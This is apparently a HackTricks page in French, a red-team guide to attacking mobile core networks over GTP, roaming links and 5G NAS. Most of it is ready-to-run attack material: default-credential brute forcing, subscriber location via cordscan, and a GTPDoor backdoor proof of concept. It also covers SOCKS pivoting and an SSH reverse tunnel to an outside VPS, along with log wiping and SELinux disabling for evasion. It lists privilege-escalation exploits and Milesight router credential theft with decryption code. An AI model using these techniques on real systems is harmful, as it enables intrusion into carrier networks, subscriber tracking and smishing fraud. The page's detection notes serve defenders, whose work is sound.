Telecom Network Exploitation (GTP / Roaming Environments)
Reading time: 14 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
note
Les protocoles du coeur mobile (GPRS Tunnelling Protocol â GTP) traversent souvent des backbones GRX/IPX de roaming semi-fiables. Parce qu'ils utilisent UDP en clair avec presque aucune authentification, tout point d'appui Ă l'intĂ©rieur du pĂ©rimĂštre tĂ©lĂ©com peut gĂ©nĂ©ralement atteindre directement les plans de signalisation cĆur. Les notes suivantes rassemblent des astuces offensives observĂ©es sur le terrain contre SGSN/GGSN, PGW/SGW et d'autres nĆuds EPC.
1. Recon & Initial Access
1.1 Comptes OSS / NE par défaut
Un nombre étonnamment élevé d'éléments réseau fournis par les fabricants est livré avec des comptes SSH/Telnet codés en dur tels que root:admin
, dbadmin:dbadmin
, cacti:cacti
, ftpuser:ftpuser
, ⊠Un wordlist dédié augmente considérablement le succÚs des attaques par brute-force:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
Si le dispositif n'expose qu'une VRF de management, pivotez d'abord via un jump host (voir la section «SGSN Emu Tunnel» ciâdessous).
1.2 Découverte d'hÎtes à l'intérieur de GRX/IPX
La plupart des opérateurs GRX autorisent encore les ICMP echo à travers le backbone. Combinez masscan
avec les probes UDP intégrées gtpv1
pour cartographier rapidement les listeners GTP-C :
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. ĂnumĂ©ration des abonnĂ©s â cordscan
L'outil Go suivant forge des paquets GTP-C Create PDP Context Request et enregistre les réponses. Chaque réponse révÚle le SGSN / MME actuel qui dessert l'IMSI interrogé et, parfois, le PLMN visité de l'abonné.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Options clés :
--imsi
IMSI de l'abonné cible--oper
Home / HNI (MCC+MNC)-w
Ăcrire les paquets bruts dans un pcap
Des constantes importantes Ă l'intĂ©rieur du binaire peuvent ĂȘtre patchĂ©es pour Ă©largir les scans :
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. ExĂ©cution de code via GTP â GTPDoor
GTPDoor
est un petit service ELF qui écoute sur UDP 2123 et analyse chaque paquet GTP-C entrant. Lorsque le payload commence par un pre-shared tag, le reste est déchiffré (AES-128-CBC) et exécuté via /bin/sh -c
. Les stdout/stderr sont exfiltrés à l'intérieur de messages Echo Response, de sorte qu'aucune session sortante n'est jamais créée.
Paquet PoC minimal (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Détection :
- tout hĂŽte envoyant des unbalanced Echo Requests aux adresses IP SGSN
- flag de version GTP rĂ©glĂ© sur 1 alors que message type = 1 (Echo) â Ă©cart Ă la spĂ©cification
4. Pivoting Through the Core
4.1 sgsnemu
+ SOCKS5
OsmoGGSN
embarque un émulateur SGSN capable d'établir un contexte PDP vers un vrai GGSN/PGW. Une fois négocié, Linux reçoit une nouvelle interface tun0
accessible depuis le pair en itinérance.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
Avec un firewall hair-pinning correctement configuré, ce tunnel contourne les signalling-only VLANs et vous place directement dans le data plane.
4.2 SSH Reverse Tunnel over Port 53
Le DNS est presque toujours ouvert dans les infrastructures de roaming. Exposez un service SSH interne sur votre VPS écoutant sur :53 et revenez plus tard depuis chez vous :
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Vérifiez que GatewayPorts yes
est activé sur le VPS.
5. Canaux cachés
Channel | Transport | Decoding | Notes |
---|---|---|---|
ICMP â EchoBackdoor | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | Ă©coute purement passive, aucun trafic sortant |
DNS â NoDepDNS | UDP 53 | XOR (key = funnyAndHappy ) encodĂ© dans les octets d'enregistrement A | surveille le sous-domaine *.nodep |
GTP â GTPDoor | UDP 2123 | AES-128-CBC blob dans un IE privĂ© | se fond dans le trafic GTP-C lĂ©gitime |
Tous les implants implémentent des watchdogs qui timestomp leurs binaires et se relancent si ceux-ci plantent.
6. Aide-mémoire d'évasion des défenses
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Escalade de privilÚges sur des NE hérités
# DirtyCow â CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit â CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit â CVE-2021-3156
python3 exploit_userspec.py
Astuce de nettoyage :
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. BoĂźte Ă outils
cordscan
,GTPDoor
,EchoBackdoor
,NoDepDNS
â outils personnalisĂ©s dĂ©crits dans les sections prĂ©cĂ©dentes.FScan
: balayages TCP intranet (fscan -p 22,80,443 10.0.0.0/24
)Responder
: LLMNR/NBT-NS rogue WPADMicrosocks
+ProxyChains
: pivoting SOCKS5 légerFRP
(â„0.37) : NAT traversal / asset bridging
9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
La procĂ©dure d'enregistrement 5G s'exĂ©cute sur NAS (Non-Access Stratum) au-dessus de NGAP. Jusqu'Ă activation de la sĂ©curitĂ© NAS via Security Mode Command/Complete, les messages initiaux ne sont ni authentifiĂ©s ni chiffrĂ©s. Cette fenĂȘtre prĂ©-sĂ©curitĂ© permet plusieurs vecteurs d'attaque lorsque vous pouvez observer ou altĂ©rer le trafic N2 (par ex., on-path Ă l'intĂ©rieur du core, rogue gNB, ou testbed).
Registration flow (simplified):
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
- PDU Session Establishment: IP/QoS setup.
Conseils pour le labo (non-RF) :
- Core : un déploiement Open5GS par défaut suffit pour reproduire les flows.
- UE : simulateur ou UE de test ; décoder avec Wireshark.
- Active tooling : 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Filtres utiles dans Wireshark :
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Attendu : l'UE/USIM doit transmettre SUCI (SUPI chiffré avec la clé publique du réseau d'origine). Trouver un SUPI/IMSI en clair dans la Registration Request indique un défaut de confidentialité permettant le tracking persistant de l'abonné.
Comment tester :
- Capturez le premier message NAS dans InitialUEMessage et inspectez le Mobile Identity IE.
- Vérifications rapides dans Wireshark :
- Il doit décoder comme SUCI, pas IMSI.
- Exemples de filtres :
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci
devrait exister ; l'absence combinée à la présence deimsi
indique un leak.
Ă collecter :
- MCC/MNC/MSIN si exposés ; logger par UE et suivre dans le temps/les lieux.
Atténuation :
- Imposer SUCI-only pour les UEs/USIMs ; alerter sur toute présence d'IMSI/SUPI dans le NAS initial.
9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Contexte :
- L'UE annonce les EEA (encryption) et EIA (integrity) supportés dans l'UE Security Capability IE de la Registration Request.
- Mappings courants : EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC ; EEA0/EIA0 sont des algorithmes null.
ProblĂšme :
- Parce que la Registration Request n'est pas protégée par intégrité, un attaquant on-path peut effacer des bits de capability pour forcer la sélection d'EEA0/EIA0 plus tard lors du Security Mode Command. Certains stacks autorisent incorrectement les algorithmes null en dehors des services d'urgence.
Ătapes offensives :
- Intercepter InitialUEMessage et modifier le NAS UE Security Capability pour n'annoncer que EEA0/EIA0.
- Avec Sni5Gect, hooker le message NAS et patcher les bits de capability avant retransmission.
- Observer si l'AMF accepte des chiffrement/intégrité null et complÚte le Security Mode avec EEA0/EIA0.
Vérification/visibilité :
- Dans Wireshark, confirmer les algorithmes sélectionnés aprÚs Security Mode Command/Complete.
- Exemple de sortie de sniffer passif :
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Atténuations (obligatoires) :
- Configurer AMF/policy pour rejeter EEA0/EIA0 sauf lorsque strictement mandaté (p. ex., appels d'urgence).
- Préférer l'application d'EEA2/EIA2 au minimum ; consigner et générer une alerte pour tout contexte de sécurité NAS qui négocie des algorithmes nuls.
9.3 Rejeu de la Registration Request initiale (NAS pré-sécurité)
Parce que le NAS initial manque d'intĂ©gritĂ© et de fraĂźcheur, un InitialUEMessage+Registration Request capturĂ© peut ĂȘtre rejouĂ© vers l'AMF.
RÚgle PoC pour 5GReplay pour transférer les replays correspondants :
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
Ă observer :
- Si l'AMF accepte le replay et passe Ă Authentication ; l'absence de validation de fraĂźcheur / de contexte indique une exposition.
Mesures d'atténuation :
- Imposer une protection contre les replays / context binding au niveau de l'AMF ; rate-limit et corréler par GNB/UE.
9.4 Tooling pointers (reproducible)
- Open5GS: démarrer un AMF/SMF/UPF pour émuler le core ; observer N2 (NGAP) et NAS.
- Wireshark: vĂ©rifier les dĂ©codages de NGAP/NAS ; appliquer les filtres ciâdessous pour isoler la Registration.
- 5GReplay: capturer une registration, puis replay des messages NGAP + NAS spécifiques selon la rÚgle.
- Sni5Gect: live sniff/modify/inject le controlâplane NAS pour forcer des algorithmes null ou perturber les sĂ©quences d'authentication.
9.5 Defensive checklist
- Inspecter en continu la Registration Request pour SUPI/IMSI en clair ; bloquer les appareils/USIMs fautifs.
- Rejeter EEA0/EIA0 sauf pour des procédures d'urgence strictement définies ; exiger au minimum EEA2/EIA2.
- Détecter une infrastructure rogue ou mal configurée : gNB/AMF non autorisés, peers N2 inattendus.
- Alerter sur les modes de sécurité NAS qui entraßnent des algorithmes null ou des replays fréquents de InitialUEMessage.
10. Routeurs cellulaires industriels â Abus d'API SMS non authentifiĂ©e (Milesight UR5X/UR32/UR35/UR41) et rĂ©cupĂ©ration d'identifiants (CVE-2023-43261)
L'abus d'API web exposées des routeurs cellulaires industriels permet du smishing discret d'origine opérateur à grande échelle. Les routeurs Milesight de la série UR exposent un endpoint de type JSON-RPC à /cgi
. Lorsqu'elle est mal configurĂ©e, l'API peut ĂȘtre interrogĂ©e sans authentification pour lister la boĂźte de rĂ©ception/boĂźte d'envoi SMS et, dans certains dĂ©ploiements, pour envoyer des SMS.
RequĂȘtes non authentifiĂ©es typiques (mĂȘme structure pour boĂźte de rĂ©ception/boĂźte d'envoi) :
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
Les réponses incluent des champs tels que timestamp
, content
, phone_number
(E.164) et status
(success
ou failed
). Des envois failed
rĂ©pĂ©tĂ©s vers le mĂȘme numĂ©ro sont souvent des âvĂ©rifications de capacitĂ©â de l'attaquant pour valider qu'un router/SIM peut dĂ©livrer avant un envoi massif.
Exemple de curl pour exfiltrer les métadonnées SMS :
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
Remarques sur les auth artifacts:
- Une partie du trafic peut inclure un auth cookie, mais une grande fraction des appareils exposĂ©s rĂ©pond sans aucune authentification Ă
query_inbox
/query_outbox
lorsque l'interface de gestion est accessible depuis Internet. - Dans les environnements nĂ©cessitant une auth, previously-leaked credentials (voir ciâdessous) restaurent l'accĂšs.
Credential recovery path â CVE-2023-43261:
- Familles affectées : UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Issue : les logs servis via le web (p.ex.,
httpd.log
) sont accessibles sans authentification sous/lang/log/
et contiennent des événements de login admin avec le mot de passe chiffré en utilisant une hardcoded AES key/IV présente dans le client-side JavaScript. - Practical access and decrypt:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
Python minimal pour décrypter leaked passwords (AES-128-CBC, hardcoded key/IV):
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
Idées de hunting et de détection (réseau) :
- Alerter sur les
POST /cgi
non authentifiés dont le corps JSON contientbase
/function
défini surquery_inbox
ouquery_outbox
. - Suivre les rafales répétées de
POST /cgi
suivies d'entréesstatus":"failed"
affectant de nombreux numĂ©ros uniques depuis la mĂȘme IP source (capability testing). - Inventorier les routeurs Milesight exposĂ©s sur Internet ; restreindre la gestion au VPN ; dĂ©sactiver les fonctionnalitĂ©s SMS sauf si nĂ©cessaires ; mettre Ă niveau vers â„ v35.3.0.7 ; faire pivoter les identifiants et examiner les logs SMS pour des envois inconnus.
Shodan/OSINT pivots (examples seen in the wild) :
http.html:"rt_title"
matches Milesight router panels.- Google dorking for exposed logs:
"/lang/log/system" ext:log
.
Impact opérationnel : l'utilisation de SIMs d'opérateurs légitimes à l'intérieur des routeurs offre une trÚs haute délivrabilité/crédibilité des SMS pour le phishing, tandis que l'exposition des inbox/outbox leak des métadonnées sensibles à grande échelle.
Idées de détection
- Tout appareil autre qu'un SGSN/GGSN établissant Create PDP Context Requests.
- Ports non standard (53, 80, 443) recevant des SSH handshakes depuis des IP internes.
- Echo Requests frĂ©quents sans Echo Responses correspondantes â peut indiquer des beacons GTPDoor.
- Taux élevé de trafic ICMP echo-reply avec des champs identifier/sequence larges non nuls.
- 5G : InitialUEMessage transportant des NAS Registration Requests répétés depuis des endpoints identiques (signal de replay).
- 5G : NAS Security Mode négociant EEA0/EIA0 en dehors de contextes d'urgence.
Références
- Palo Alto Unit42 â Infiltration of Global Telecom Networks
- 3GPP TS 29.060 â GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 â GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 â Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 â Security architecture and procedures for 5G System
- Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)
- CVE-2023-43261 â NVD
- CVE-2023-43261 PoC (win3zz)
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.